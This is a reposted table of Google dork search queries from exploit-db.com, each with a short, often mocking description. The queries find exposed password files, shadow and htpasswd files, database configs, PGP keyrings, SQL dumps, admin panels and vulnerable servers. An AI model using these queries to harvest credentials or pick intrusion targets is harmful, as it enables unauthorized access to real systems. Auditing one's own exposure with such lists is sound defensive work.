Google Dorks

Here is a collection of Dorks Submitted to Exploit-db.com. Collected on December 24, 2013 .

This below tables shows the title of the dork, the actual dork that we use and third description of the dork. I copied raw data from www.exploit-db.com. No changes have done. You are free to use these dorks collection for any purpose.

TITTLE	DORK	DESCRIPTION
squid cache server reports	"cacheserverreport for" "This analysis was produced by calamaris"	These are squid server cache reports. Fairly benign, really except when you consider using them for evil purposes. For example, an institution stands up a proxy server for their internal users to get to the outside world. Then, the internal user surf all over to their hearts content (including intranet pages cuz well, the admins are stupid) Voila, intranet links show up in the external cache report. Want to make matters worse for yourself as an admin? OK, configure your external proxy server as a trusted internal host. Load up your web browser, set your proxy as their proxy and surf your way into their intranet. Not that I've noticed any examples of this in this google list. *COUGH* *COUGH* *COUGH* unresolved DNS lookups give clues *COUGH* *COUGH* ('scuse me. must be a furball) OK, lets say BEST CASE scenario. Let's say there's not security problems revealed in these logs. Best case scenario is that outsiders can see what your company/agency/workers are surfing.
Ganglia Cluster Reports	intitle:"Ganglia" "Cluster Report for"	These are server cluster reports, great for info gathering. Lesse, what were those server names again?
ICQ chat logs, please...	intitle:"Index of" dbconvert.exe chats	ICQ (http://www.icq.com) allows you to store the contents of your online chats into a file. These folks have their

		entire ICQ directories online. On purpose?
Apache online documentation	intitle:"Apache HTTP Server" intitle:"documentation"	When you install the Apache web server, you get a nice set of online documentation. When you learn how to use Apache, your supposed to delete these online Apache manuals. These sites didn't. If they're in such a hurry with Apache installs, I wonder what else they rushed through?
Coldfusion Error Pages	"Error Diagnostic Information" intitle:"Error Occurred While"	These aren't too horribly bad, but there are SO MANY of them. These sites got googlebotted while the site was having "technical difficulties." The resulting cached error message gives lots of juicy tidbits about the target site.
Financial spreadsheets: finance.xls	intitle:"Index of" finance.xls	"Hey! I have a great idea! Let's put our finances on our website in a secret directory so we can get to it whenever we need to!"
Financial spreadsheets: finances.xls	intitle:index.of finances.xls	"Hey! I have a great idea! Let's put our finances on our website in a secret directory so we can get to it whenever we need to!"
sQL data dumps	"# Dumping data for table"	sQL database dumps. LOTS of data in these. So much data, infact, I'm pressed to think of what else an ev1l hax0r would like to know about a target database.. What's that? Usernames and passwords you say? Patience, grasshopper.....
bash_history files	intitle:index.of .bash_history	Ok, this file contains what a user typed at a shell command prompt. You shouldn't advertise this file. You shouldn't flash it to a web crawler. It contains COMMANDS and USERNAMES and stuff... *sigh* Sometimes there aren't words to describe how lame people can be. This particular theme can be carried further to find all sorts of things along these lines like .profile, .login, .logout files, etc. I just got bored with all the combinations...

sh_history files	intitle:index.of .sh_history	Ok, this file contains what a user typed at a shell command prompt. You shouldn't advertise this file. You shouldn't flash it to a web crawler. It contains COMMANDS and USERNAMES and stuff... *sigh* Sometimes there aren't words to describe how lame people can be. This particular theme can be carried further to find all sorts of things along these lines like .profile, .login, .logout files, etc. I just got bored with all the combinations...
mysql history files	intitle:"Index of" .mysql_history	The .mysql_history file contains commands that were performed against a mysql database. A "history" of said commands. First, you shouldn't show this file to anyone, especially not a MAJOR SEARCH ENGINE! Secondly, I sure hope you wouldn't type anything sensitive while interacting with your databases, like oh say USERNAMES AND PASSWORDS...
mt-db-pass.cgi files	intitle:index.of mt-db-pass.cgi	These folks had the technical prowess to unpack the movable type files, but couldn't manage to set up their web servers properly. Check the mt.cfg files for interesting stuffs...
Windows 2000 Internet Services	intitle:"Welcome to Windows 2000 Internet Services"	At first glance, this search reveals even more examples of operating system users enabling the operating system default web server software. This is generally accepted to be a Bad Idea(TM) as mentioned in the previous example. However, the googleDork index on this particular category gets quite a boost from the fact that this particular screen should NEVER be seen by the general public. To quote the default index screen: "Any users attempting to connect to this site are currently receiving an 'Under Construction page'" THIS is not the 'Under Construction page.' I was only

		able to generate this screen while sitting at the console of the server. The fact that this screen is revealed to the general public may indicate a misconfiguration of a much more insidious nature...
IIS 4.0	intitle:"Welcome to IIS 4.0"	Moving from personal, lightweight web servers into more production-ready software, we find that even administrators of Microsoft's Internet Information Server (IIS) sometimes don't have a clue what they're doing. By searching on web pages with titles of "Welcome to IIS 4.0" we find that even if they've taken the time to change their main page, some dorks forget to change the titles of their default-installed web pages. This is an indicator that their web server is most likely running, or was upgraded from, the now considered OLD IIS 4.0 and that at least portions of their main pages are still exactly the same as they were out of the box. Conclusion? The rest of the factory-installed stuff is most likely lingering around on these servers as well. Old code: FREE with operating system.Poor content management: an average of $40/hour. Factory-installed default scripts: FREE with operating system.Getting hacked by a script kiddie that found you on Google: PRICELESS.For all the things money can't buy, there's a googleDork award.
Look in my backup directories! Please?	"Index of /backup"	Backup directories are often very interesting places to explore. More than one server has been compromised by a hacker's discovery of sensitive information contained in backup files or directories. Some of the sites in this search meant to reveal the contents of their backup directories, others did not. Think about it. What.s in YOUR backup directories? Would you care to

		share the contents with the whole of the online world? Probably not. Whether intentional or not, bsp.gsa.gov reveals backup directory through Google. Is this simply yet another misconfigured .gov site? You decide. BSP stands for "best security practices," winning this site the Top GoogleDork award for this category.
OpenBSD running Apache	"powered by openbsd" +"powered by apache"	I like the OpenBSD operating system. I really do. And I like the Apache web server software. Honestly. I admire the mettle of administrators who take the time to run quality, secure software. The problem is that you never know when security problems will pop up. A BIG security problem popped up within the OpenBSD/Apache combo back in the day.Now, every administrator that advertised this particular combo with cute little banners has a problem. Hackers can find them with Google. I go easy on these folks since the odds are they.ve patched their sites already. Then again, they may just show up on zone-h..
intitle:index.of intext:"secring.skr"|"secring.pgp"|"secring.bak"	intitle:index.of intext:"secring.skr"|"secring.pgp"|"secring.bak"	PGP is a great encryption technology. It keeps secrets safe. Everyone from drug lords to the head of the DEA can download PGP to encrypt their sensitive documents. Everyone, that is except googleDorks. GoogleDorks, it seems, don't understand that anyone in possession of your private keyring (secring) can get to your secret stuff. It should noever be given out, and should certainly not be posted on the Internet. The highest ranking is awarded for this surprising level of ineptitude.
people.lst	intitle:index.of people.lst	*sigh*
passwd	intitle:index.of passwd passwd.bak	There's nothing that defines a googleDork more than getting your PASSWORDS grabbed by Google for the world to see. Truly the epitome of a googleDork. The hits in this search

		show "passwd" files which contain encrypted passwords which may look like this: "guest MMCHhvZ6ODgFo" A password cracker can eat cheesy hashes faster than Elvis eatin' jelly doughnuts. Bravo googleDorks! Good show!
master.passwd	intitle:index.of master.passwd	There's nothing that defines a googleDork more than getting your PASSWORDS grabbed by Google for the world to see. Truly the epitome of a googleDork. The hits in this search show "master.passwd" files which contain encrypted passwords which may look like this: "guest MMCHhvZ6ODgFo" A password cracker can eat cheesy hashes faster than Elvis eatin' jelly doughnuts. Bravo googleDorks! Good show!For master.passwd, be sure to check other files in the same directory...
pwd.db	intitle:"Index of" pwd.db	There's nothing that defines a googleDork more than getting your PASSWORDS grabbed by Google for the world to see. Truly the epitome of a googleDork. The his in this search show "pwd.db" files which contain encrypted passwords which may look like this: "guest MMCHhvZ6ODgFo" A password cracker can eat cheesy hashes faster than Elvis eatin' jelly doughnuts. Bravo googleDorks! Good show!
htpasswd / htpasswd.bak	intitle:"Index of" ".htpasswd" htpasswd.bak	There's nothing that defines a googleDork more than getting your PASSWORDS grabbed by Google for the world to see. Truly the epitome of a googleDork. And what if the passwords are hashed? A password cracker can eat cheesy password hashes faster than Elvis eatin' jelly doughnuts. Bravo googleDorks! Good show!
htpasswd / htgroup	intitle:"Index of" ".htpasswd" "htgroup" -intitle:"dist" -apache -htpasswd.c	There's nothing that defines a googleDork more than getting your PASSWORDS grabbed by Google for

		the world to see. Truly the epitome of a googleDork. And what if the passwords are hashed? A password cracker can eat cheesy password hashes faster than Elvis eatin' jelly doughnuts. Bravo googleDorks! Good show!You'll need to sift through these results a bit...
spwd.db / passwd	intitle:"Index of" spwd.db passwd -pam.conf	There's nothing that defines a googleDork more than getting your PASSWORDS grabbed by Google for the world to see. Truly the epitome of a googleDork. And what if the passwords are hashed? A password cracker can eat cheesy password hashes faster than Elvis eatin' jelly doughnuts. Bravo googleDorks! Good show!
passwd / etc (reliable)	intitle:"Index of..etc" passwd	There's nothing that defines a googleDork more than getting your PASSWORDS grabbed by Google for the world to see. Truly the epitome of a googleDork. And what if the passwords are hashed? A password cracker can eat cheesy password hashes faster than Elvis eatin' jelly doughnuts. Bravo googleDorks! Good show!
AIM buddy lists	buddylist.blt	These searches bring up common names for AOL Instant Messenger "buddylists". These lists contain screen names of your "online buddies" in Instant Messenger. Not that's not too terribly exciting or stupid unless you want to mess with someone's mind, and besides, some people make these public on purpose. The thing that's interesting are the files that get stored ALONG WITH buddylists. Often this stuff includes downloaded pictures, resumes, all sorts of things. This is really for the peepers out there, and it' possible to spend countless hours rifling through people's personal crap. Also try buddylist.blt, buddy.blt, buddies.blt.
config.php	intitle:index.of config.php	This search brings up sites with "config.php" files. To skip the

		technical discussion, this configuration file contains both a username and a password for an SQL database. Most sites with forums run a PHP message base. This file gives you the keys to that forum, including FULL ADMIN access to the database. Way to go, googleDorks!!
phpinfo()	intitle:phpinfo "PHP Version"	this brings up sites with phpinfo(). There is SO much cool stuff in here that you just have to check one out for yourself! I mean full blown system versioning, SSL version, sendmail version and path, ftp, LDAP, SQL info, Apache mods, Apache env vars, *sigh* the list goes on and on! Thanks "joe!" =)
MYSQL error message: supplied argument....	"supplied argument is not a valid MySQL result resource"	One of many potential error messages that spew interesting information. The results of this message give you real path names inside the webserver as well as more php scripts for potential "crawling" activities.
robots.txt	intitle:index.of robots.txt	The robots.txt file contains "rules" about where web spiders are allowed (and NOT allowed) to look in a website's directory structure. Without over-complicating things, this means that the robots.txt file gives a mini-roadmap of what's somewhat public and what's considered more private on a web site. Have a look at the robots.txt file itself, it contains interesting stuff.However, don't forget to check out the other files in these directories since they are usually at the top directory level of the web server!
passlist	index.of passlist	I'm not sure what uses this, but the passlist and passlist.txt files contain passwords in CLEARTEXT! That's right, no decoding/decrypting/encrypting required. How easy is this?*sigh*Supreme googledorkage

secret	index.of.secret	What kinds of goodies lurk in directories marked as "secret?" Find out...
private	index.of.private	What kinds of things might you find in directories marked "private?" let's find out....
etc (index.of)	index.of.etc	This search gets you access to the etc directory, where many many many types of password files can be found. This link is not as reliable, but crawling etc directories can be really fun!
winnt	index.of.winnt	The \WINNT directory is the directory that Windows NT is installed into by default. Now just because google can find them, this doesn't necessarily mean that these are Windows NT directories that made their way onto the web. However, sometimes this happens. Other times, they aren't Windows NT directories, but backup directories for Windows NT data. Wither way, worthy of a nomination.
secure	index.of.secure	What could be hiding in directories marked as "secure?" let's find out...
protected	index.of.protected	What could be in a directory marked as "protected?" Let's find out...
index.of.password	index.of.password	These directories are named "password." I wonder what you might find in here. Warning: sometimes p0rn sites make directories on servers with directories named "password" and single html files inside named things liks "horny.htm" or "brittany.htm." These are to boost their search results. Don't click them (unless you want to be buried in an avalanche of p0rn...
"This report was generated by WebLog"	"This report was generated by WebLog"	These are weblog-generated statistics for web sites... A roadmap of files, referrers, errors, statistics... yummy... a schmorgasbord! =P
"produced by getstats"	"These statistics were produced by getstats"	Another web statistics package. This one originated from a google scan of an ivy league college. *sigh*There's sooo

		much stuff in here!
"generated by wwwstat"	"This summary was generated by wwwstat"	More www statistics on the web. This one is very nice.. Lots of directory info, and client access statistics, email addresses.. lots os good stuff.You know, these are SOOO dangerous, especially if INTRANET users get logged... talk about mapping out an intranet quickly...thanks, sac =)
haccess.ctl (one way)	intitle:index.of haccess.ctl	this is the frontpage(?) equivalent of htaccess, I believe. Anyhow, this file describes who can access the directory of the web server and where the other authorization files are. nice find.
haccess.ctl (VERY reliable)	filetype:ctl Basic	haccess.ctl is the frontpage(?) equivalent of the .htaccess file. Either way, this file decribes who can access a web page, and should not be shown to web surfers. Way to go, googledork. =PThis method is very reliable due to the use of this google query:filetype:ctl BasicThis pulls out the file by name then searches for a string inside of it (Basic) which appears in the standard template for this file.
filetype:xls username password email	filetype:xls username password email	This search shows Microsoft Excel spreadsheets containing the words username, password and email. Beware that there are a ton of blank "template" forms to weed through, but you can tell from the Google summary that some of these are winners... err losers.. depending on your perspective.
Hassan Consulting's Shopping Cart Version 1.18	inurl:shop "Hassan Consulting's Shopping Cart Version 1.18"	These servers can be messed with in many ways. One specific way is by way of the "../" bug. This lets you cruise around the web server in a somewhat limited fashion.
site:edu admin grades	site:edu admin grades	I never really thought about this until I started coming up with juicy examples for DEFCON 11.. A few GLARINGLY bad examples contain not only student grades and names, but also social security numbers, securing

		the highest of all googledork ratings!
auth_user_file.txt	allinurl:auth_user_file.txt	DCForum's password file. This file gives a list of (crackable) passwords, usernames and email addresses for DCForum and for DCShop (a shopping cart program(!!!). Some lists are bigger than others, all are fun, and all belong to googledorks. =)
inurl:config.php dbuname dbpass	inurl:config.php dbuname dbpass	The old config.php script. This puppy should be held very closely. It should never be viewable to your web visitors because it contains CLEARTEXT usernames and passwords!The hishest of all googledorks ratings!
inurl:tech-support inurl:show Cisco	inurl:tech-support inurl:show Cisco	This is a way to find Cisco products with an open web interface. These are generally supposed to be user and password protected. Google finds ones that aren't. Be sure to use Google's cache if you have trouble connecting. Also, there are very few results (2 at the time of posting.)
index_i.shtml Ready (Xerox printers on the web!)	i_index.shtml Ready	These printers are not-only web-enabled, but their management interface somehow got crawled by google! These puppies should not be public! You can really muck with these printers. In some cases, going to the "password.shtml" page, you can even lock out the admins if a username and password has not already been set! Thanks to mephisteau@yahoo.co.uk for the idea =)
aboutprinter.shtml (More Xerox printers on the web!)	aboutprinter.shtml	More Xerox printers on the web! Google found these printers. Should their management interface be open to the WHOLE INTERNET? I think not.
"Chatologica MetaSearch" "stack tracking"	"Chatologica MetaSearch" "stack tracking:"	There is soo much crap in this error message... Apache version, CGI environment vars, path names, stack-freaking-dumps, process ID's, perl version, yadda yadda yadda...
mystuff.xml - Trillian data files	intitle:index.of mystuff.xml	This particular file contains web links that trillian users have entered into the

		tool. Trillian combines many different messaging programs into one tool. AIM, MSN, Yahoo, ICQ, IRC, etc. Although this particular file is fairly benign, check out the other files in the same directory. There is usually great stuff here!
trillian.ini	intitle:index.of trillian.ini	Trillian pulls together all sort of messaging clients like AIM MSN, Yahoo, IRC, ICQ, etc. The various ini files that trillian uses include files like aim.ini and msn.ini. These ini files contain encoded passwords, usernames, buddy lists, and all sorts of other fun things. Thanks for putting these on the web for us, googledorks!
intitle:admin intitle:login	intitle:admin intitle:login	Admin Login pages. Now, the existance of this page does not necessarily mean a server is vulnerable, but it sure is handy to let Google do the discovering for you, no? Let's face it, if you're trying to hack into a web server, this is one of the more obvious places to poke.
ORA-00921: unexpected end of SQL command	"ORA-00921: unexpected end of SQL command"	Another SQL error message from Cesar. This one coughs up full web pathnames and/or php filenames.
passlist.txt (a better way)	inurl:passlist.txt	Cleartext passwords. No decryption required!
sitebuildercontent	inurl:sitebuildercontent	This is a default directory for the sitebuilder web design software program. If these people posted web pages with default sitebuilder sirectory names, I wonder what else they got wrong?
sitebuilderfiles	inurl:sitebuilderfiles	This is a default directory for the sitebuilder web design software program. If these people posted web pages with default sitebuilder sirectory names, I wonder what else they got wrong?
sitebuilderpictures	inurl:sitebuilderpictures	This is a default directory for the sitebuilder web design software program. If these people posted web

		pages with default sitebuilder sirectory names, I wonder what else they got wrong?
htpasswd	filetype:htpasswd htpasswd	This is a nifty way to find htpasswd files. Htpasswd files contain usernames and crackable passwords for web pages and directories. They're supposed to be server-side, not available to web clients! *duh*
"YaBB SE Dev Team"	"YaBB SE Dev Team"	Yet Another Bulletin Board (YABB) SE (versions 1.5.4 and 1.5.5 and perhaps others) contain an SQL injection vulnerability which may allow several attacks including unauthorized database modification or viewing. See http://www.securityfocus.com/bid/9674for more information. Also see http://www.securityfocus.com/bid/9677for information about an information leakage vulnerability in versions YaBB Gold - Sp 1.3.1 and others.
EarlyImpact Productcart	inurl:custva.asp	The EarlyImpact Productcart contains multiple vulnerabilites, which could exploited to allow an attacker to steal user credentials or mount other attacks. See http://www.securityfocus.com/bid/9669 for more informationfor more information. Also see http://www.securityfocus.com/bid/9677for information about an information leakage vulnerability in versions YaBB Gold - Sp 1.3.1 and others.
mnGoSearch vulnerability	"Powered by mnoGoSearch - free web search engine software"	According to http://www.securityfocus.com/bid/9667, certain versions of mnGoSearch contain a buffer overflow vulnerability which allow an attacker to execute commands on the server.
IIS 4.0 error messages	intitle:"the page cannot be found" inetmgr	IIS 4.0 servers. Extrememly old, incredibly easy to hack...
Windows 2000 web server error	intitle:"the page cannot be found" "2004 microsoft corporation"	Windows 2000 web servers. Aging, fairly easy to hack, especially out of

messages		the box...
IIS web server error messages	intitle:"the page cannot be found" "internet information services"	This query finds various types of IIS servers. This error message is fairly indicative of a somewhat unmodified IIS server, meaning it may be easier to break into...
phpMyAdmin dumps	"# phpMyAdmin MySQL-Dump" filetype:txt	From phpmyadmin.net : "phpMyAdmin is a tool written in PHP intended to handle the administration of MySQL over the WWW." Great, easy to use, but don't leave your database dumps laying around on the web. They contain all SORTS of sensitive information...
phpMyAdmin dumps	"# phpMyAdmin MySQL-Dump" "INSERT INTO" -"the"	From phpmyadmin.net : "phpMyAdmin is a tool written in PHP intended to handle the administration of MySQL over the WWW." Great, easy to use, but don't leave your database dumps laying around on the web. They contain all SORTS of sensitive information...
Gallery in configuration mode	intitle:"Gallery in Configuration mode"	Gallery is a nice little php program that allows users to post personal pictures on their website. So handy, in fact, that I use it on my site! However, the Gallery configuration mode allows outsiders to make changes to your gallery. This is why you shouldn't leave your gallery in configuration mode. These people, unfortunately, have done just that!
cgiirc.conf	intitle:index.of cgiirc.config	CGIIRC is a web-based IRC client. Very cool stuff. The cgiirc.config file lists the options for this porgram, including the default sites that can be attached to, server passwords, and crypts of admin passwords. This file is for CGIIRC, not Google surfers!
cgiirc.conf	inurl:cgiirc.config	This is another less reliable way of finding the cgiirc.config file. CGIIRC is a web-based IRC client. Very cool stuff. The cgiirc.config file lists the options for this porgram, including the

		default sites that can be attached to, server passwords, and crypts of admin passwords. This file is for CGIIRC, not Google surfers!
ipsec.secrets	inurl:ipsec.secrets -history -bugs	from the manpage for ipsec_secrets: "It is vital that these secrets be protected. The file should be owned by the super-user, and its permissions should be set to block all access by others." So let's make it plain: DO NOT SHOW THIS FILE TO ANYONE! Googledorks rejoice, these files are on the web!
ipsec.secrets	inurl:ipsec.secrets "holds shared secrets"	from the manpage for ipsec_secrets: "It is vital that these secrets be protected. The file should be owned by the super-user, and its permissions should be set to block all access by others." So let's make it plain: DO NOT SHOW THIS FILE TO ANYONE! Googledorks rejoice, these files are on the web!
ipsec.conf	inurl:ipsec.conf -intitle:manpage	The ipsec.conf file could help hackers figure out what uber-secure users of freeS/WAN are protecting....
Internal Server Error	intitle:"500 Internal Server Error" "server at"	This one shows the type of web server running on the site, and has the ability to show other information depending on how the message is internally formatted.
mysql error with query	"mySQL error with query"	Another error message, this appears when an SQL query bails. This is a generic mySQL message, so there's all sort of information hackers can use, depending on the actual error message...
sQL syntax error	"You have an error in your SQL syntax near"	Another generic SQL message, this message can display path names and partial SQL code, both of which are very helpful for hackers...
"Supplied argument is not a valid MySQL result resource"	"Supplied argument is not a valid MySQL result resource"	Another generic SQL message, this message can display path names, function names, filenames and partial SQL code, all of which are very helpful for hackers...

ORA-00936: missing expression	"ORA-00936: missing expression"	A generic ORACLE error message, this message can display path names, function names, filenames and partial database code, all of which are very helpful for hackers...
ORA-00921: unexpected end of SQL command	"ORA-00921: unexpected end of SQL command"	Another generic SQL message, this message can display path names, function names, filenames and partial SQL code, all of which are very helpful for hackers...
"ORA-00933: SQL command not properly ended"	"ORA-00933: SQL command not properly ended"	An Oracle error message, this message can display path names, function names, filenames and partial SQL code, all of which are very helpful for hackers...
"Unclosed quotation mark before the character string"	"Unclosed quotation mark before the character string"	An SQL Server error message, this message can display path names, function names, filenames and partial code, all of which are very helpful for hackers...
"Incorrect syntax near"	"Incorrect syntax near"	An SQL Server error message, this message can display path names, function names, filenames and partial code, all of which are very helpful for hackers...
"Incorrect syntax near"	"Incorrect syntax near" -the	An SQL Server error message, this message can display path names, function names, filenames and partial code, all of which are very helpful for hackers...
"PostgreSQL query failed: ERROR: parser: parse error"	"PostgreSQL query failed: ERROR: parser: parse error"	An PostgreSQL error message, this message can display path names, function names, filenames and partial code, all of which are very helpful for hackers...
supplied argument is not a valid PostgreSQL result	"Supplied argument is not a valid PostgreSQL result"	An PostgreSQL error message, this message can display path names, function names, filenames and partial code, all of which are very helpful for hackers...
"Syntax error in query expression " -the	"Syntax error in query expression " -the	An Access error message, this message can display path names, function names, filenames and partial code, all

		of which are very helpful for hackers...
"An illegal character has been found in the statement" - "previous message"	"An illegal character has been found in the statement" -"previous message"	An Informix error message, this message can display path names, function names, filenames and partial code, all of which are very helpful for hackers...
"A syntax error has occurred" filetype:ihtml	"A syntax error has occurred" filetype:ihtml	An Informix error message, this message can display path names, function names, filenames and partial code, all of which are very helpful for hackers
"detected an internal error [IBM][CLI Driver][DB2/6000]"	"detected an internal error [IBM][CLI Driver][DB2/6000]"	A DB2 error message, this message can display path names, function names, filenames, partial code and program state, all of which are very helpful for hackers...
An unexpected token "END-OF-STATEMENT" was found	An unexpected token "END-OF-STATEMENT" was found	A DB2 error message, this message can display path names, function names, filenames, partial code and program state, all of which are very helpful for hackers...
intitle:"statistics of" "advanced web statistics"	intitle:"statistics of" "advanced web statistics"	the awstats program shows web statistics for web servers. This information includes who is visiting the site, what pages they visit, error codes produced, filetypes hosted on the server, number of hits, and more which can provide very interesting recon information for an attacker.
intitle:"Usage Statistics for" "Generated by Webalizer"	intitle:"Usage Statistics for" "Generated by Webalizer"	The webalizer program shows web statistics for web servers. This information includes who is visiting the site, what pages they visit, error codes produced, filetypes hosted on the server, number of hits, referrers, exit pages, and more which can provide very interesting recon information for an attacker.
"robots.txt" "Disallow:" filetype:txt	"robots.txt" "Disallow:" filetype:txt	The robots.txt file serves as a set of instructions for web crawlers. The "disallow" tag tells a web crawler where NOT to look, for whatever reason. Hackers will always go to those

		places first!
"Warning: pg_connect(): Unable to connect to PostgreSQL server: FATAL"	"Warning: pg_connect(): Unable to connect to PostgreSQL server: FATAL"	This search reveals Postgresql servers in yet another way then we had seen before. Path information appears in the error message and sometimes database names.
"phpMyAdmin" "running on" inurl:"main.php"	"phpMyAdmin" "running on" inurl:"main.php"	From phpmyadmin.net : "phpMyAdmin is a tool written in PHP intended to handle the administration of MySQL over the WWW." Great, easy to use, but lock it down! Things you can do include viewing MySQL runtime information and system variables, show processes, reloading MySQL, changing privileges, and modifying or exporting databases. Hacker-fodder for sure!
inurl:main.php phpMyAdmin	inurl:main.php phpMyAdmin	From phpmyadmin.net : "phpMyAdmin is a tool written in PHP intended to handle the administration of MySQL over the WWW." Great, easy to use, but lock it down! Things you can do include viewing MySQL runtime information and system variables, show processes, reloading MySQL, changing privileges, and modifying or exporting databases. Hacker-fodder for sure!
inurl:main.php Welcome to phpMyAdmin	inurl:main.php Welcome to phpMyAdmin	From phpmyadmin.net : "phpMyAdmin is a tool written in PHP intended to handle the administration of MySQL over the WWW." Great, easy to use, but lock it down! Things you can do include viewing MySQL runtime information and system variables, show processes, reloading MySQL, changing privileges, and modifying or exporting databases. Hacker-fodder for sure!
"Warning: Cannot modify header information - headers already sent"	"Warning: Cannot modify header information - headers already sent"	A PHP error message, this message can display path names, function names, filenames and partial code, all of which are very helpful for hackers...

intitle:"wbem" compaq login "Compaq Information Technologies Group"	intitle:"wbem" compaq login "Compaq Information Technologies Group"	These devices are running HP Insight Management Agents for Servers which "provide device information for all managed subsystems. Alerts are generated by SNMP traps." The information on these pages include server addresses and other assorted SNMP information.
intitle:osCommerce inurl:admin intext:"redistributable under the GNU"intext:"Online Catalog" -demo -site:oscommerce.com	intitle:osCommerce inurl:admin intext:"redistributable under the GNU"intext:"Online Catalog" -demo -site:oscommerce.com	This is a decent way to explore the admin interface of osCommerce e-commerce sites. Depending on how bad the setup of the web store is, web surfers can even Google their way into customer details and order status, all from the Google cache.
intitle:index.of "Apache" "server at"	intitle:index.of "Apache" "server at"	This is a very basic string found on directory listing pages which show the version of the Apache web server. Hackers can use this information to find vulnerable targets without querying the servers.
"access denied for user" "using password"	"access denied for user" "using password"	Another SQL error message, this message can display the username, database, path names and partial SQL code, all of which are very helpful for hackers...
intitle:"Under construction" "does not currently have"	intitle:"Under construction" "does not currently have"	This error message can be used to narrow down the operating system and web server version which can be used by hackers to mount a specific attack.
"seeing this instead" intitle:"test page for apache"	"seeing this instead" intitle:"test page for apache"	This is the default web page for Apache 1.3.11 - 1.3.26. Hackers can use this information to determine the version of the web server, or to search Google for vulnerable targets. In addition, this indicates that the web server is not well maintained.
intitle:"Test Page for Apache" "It Worked!"	intitle:"Test Page for Apache" "It Worked!"	This is the default web page for Apache 1.2.6 - 1.3.9. Hackers can use this information to determine the version of the web server, or to search Google for vulnerable targets. In

		addition, this indicates that the web server is not well maintained.
intitle:"Test Page for Apache" "It Worked!" "on this web"	intitle:"Test Page for Apache" "It Worked!" "on this web"	This is the default web page for Apache 1.2.6 - 1.3.9. Hackers can use this information to determine the version of the web server, or to search Google for vulnerable targets. In addition, this indicates that the web server is not well maintained.
"Can't connect to local" intitle:warning	"Can't connect to local" intitle:warning	Another SQL error message, this message can display database name, path names and partial SQL code, all of which are very helpful for hackers...
intitle:index.of dead.letter	intitle:index.of dead.letter	dead.letter contains the contents of unfinished emails created on the UNIX platform. Emails (finished or not) can contain sensitive information.
intitle:index.of ws_ftp.ini	intitle:index.of ws_ftp.ini	ws_ftp.ini is a configuration file for a popular FTP client that stores usernames, (weakly) encoded passwords, sites and directories that the user can store for later reference. These should not be on the web!
intitle:index.of administrators.pwd	intitle:index.of administrators.pwd	This file contains administrative user names and (weakly) encrypted password for Microsoft Front Page. The file should not be readble to the general public.
inurl:secring ext:skr | ext:pgp | ext:bak	inurl:secring ext:skr | ext:pgp | ext:bak	This file is the secret keyring for PGP encryption. Armed with this file (and perhaps a passphrase), a malicious user can read all your encrypted files! This should not be posted on the web!
intitle:Index.of etc shadow	intitle:Index.of etc shadow	This file contains usernames and (lame) encrypted passwords! Armed with this file and a decent password cracker, an attacker can crack passwords and log into a UNIX system.
inurl:ManyServers.htm	inurl:ManyServers.htm	Microsoft Terminal Services Multiple Clients pages. These pages are not necessarily insecure, sine many layers of security can be wrapped around the actual use of this service, but simply

		being able to find these in Google gives hackers an informational advantage, and many of the sites are not implemented securely.
intitle:"Terminal Services Web Connection"	intitle:"Terminal Services Web Connection"	Microsoft Terminal Services Web Connector pages. These pages are not necessarily insecure, sine many layers of security can be wrapped around the actual use of this service, but simply being able to find these in Google gives hackers an informational advantage, and many of the sites are not implemented securely. In the worst case scenario these pages may allow an attacker to bypass a firewall gaining access to a "protected" machine.
intitle:"Remote Desktop Web Connection"	intitle:"Remote Desktop Web Connection"	Microsoft Remote Desktop Connection Web Connection pages. These pages are not necessarily insecure, sine many layers of security can be wrapped around the actual use of this service, but simply being able to find these in Google gives hackers an informational advantage, and many of the sites are not implemented securely. In the worst case scenario these pages may allow an attacker to bypass a firewall gaining access to an otherwise inaccessible machine.
"Welcome to Intranet"	"Welcome to Intranet"	According to whatis.com: "An intranet is a private network that is contained within an enterprise. [...] The main purpose of an intranet is to share company information and computing resources among employees [...] and in general looks like a private version of the Internet." Intranets, by definition should not be available to the Internet's unwashed masses as they may contain private corporate information.
inurl:search.php vbulletin	inurl:search.php vbulletin	Version 3.0.0 candidate 4 and earlier of Vbulletin may have a cross-site scripting vulnerability. See http://www.securityfocus.com/bid/9656 for more info.

inurl:footer.inc.php	inurl:footer.inc.php	From http://www.securityfocus.com/bid/9664, the AllMyPHP family of products (Versions 0.1.2 - 0.4) contains several potential vulnerabilities, som elalowing an attacker to execute malicious code on the web server.
inurl:info.inc.php	inurl:info.inc.php	From http://www.securityfocus.com/bid/9664, the AllMyPHP family of products (Versions 0.1.2 - 0.4) contains several potential vulnerabilities, som elalowing an attacker to execute malicious code on the web server.
inurl:admin intitle:login	inurl:admin intitle:login	This search can find administrative login pages. Not a vulnerability in and of itself, this query serves as a locator for administrative areas of a site. Further investigation of the surrounding directories can often reveal interesting information.
intitle:admin intitle:login	intitle:admin intitle:login	This search can find administrative login pages. Not a vulnerability in and of itself, this query serves as a locator for administrative areas of a site. Further investigation of the surrounding directories can often reveal interesting information.
filetype:asp "Custom Error Message" Category Source	filetype:asp "Custom Error Message" Category Source	This is an ASP error message that can reveal information such as compiler used, language used, line numbers, program names and partial source code.
"Fatal error: Call to undefined function" -reply -the -next	"Fatal error: Call to undefined function" -reply -the -next	This error message can reveal information such as compiler used, language used, line numbers, program names and partial source code.
inurl:admin filetype:xls	inurl:admin filetype:xls	This search can find Excel spreadsheets in an administrative directory or of an administrative nature. Many times these documents contain sensitive information.
inurl:admin inurl:userlist	inurl:admin inurl:userlist	This search reveals userlists of administrative importance. Userlists

		found using this method can range from benign "message group" lists to system userlists containing passwords.
inurl:admin filetype:asp inurl:userlist	inurl:admin filetype:asp inurl:userlist	This search reveals userlists of administrative importance. Userlists found using this method can range from benign "message group" lists to system userlists containing passwords.
inurl:backup intitle:index.of inurl:admin	inurl:backup intitle:index.of inurl:admin	This query reveals backup directories. These directories can contain various information ranging from source code, sql tables, userlists, and even passwords.
"Welcome to PHP-Nuke" congratulations	"Welcome to PHP-Nuke" congratulations	This finds default installations of the postnuke CMS system. In many cases, default installations can be insecure especially considering that the administrator hasn't gotten past the first few installation steps.
allintitle:Netscape FastTrack Server Home Page	allintitle:Netscape FastTrack Server Home Page	This finds default installations of Netscape Fasttrack Server. In many cases, default installations can be insecure especially considering that the administrator hasn't gotten past the first few installation steps.
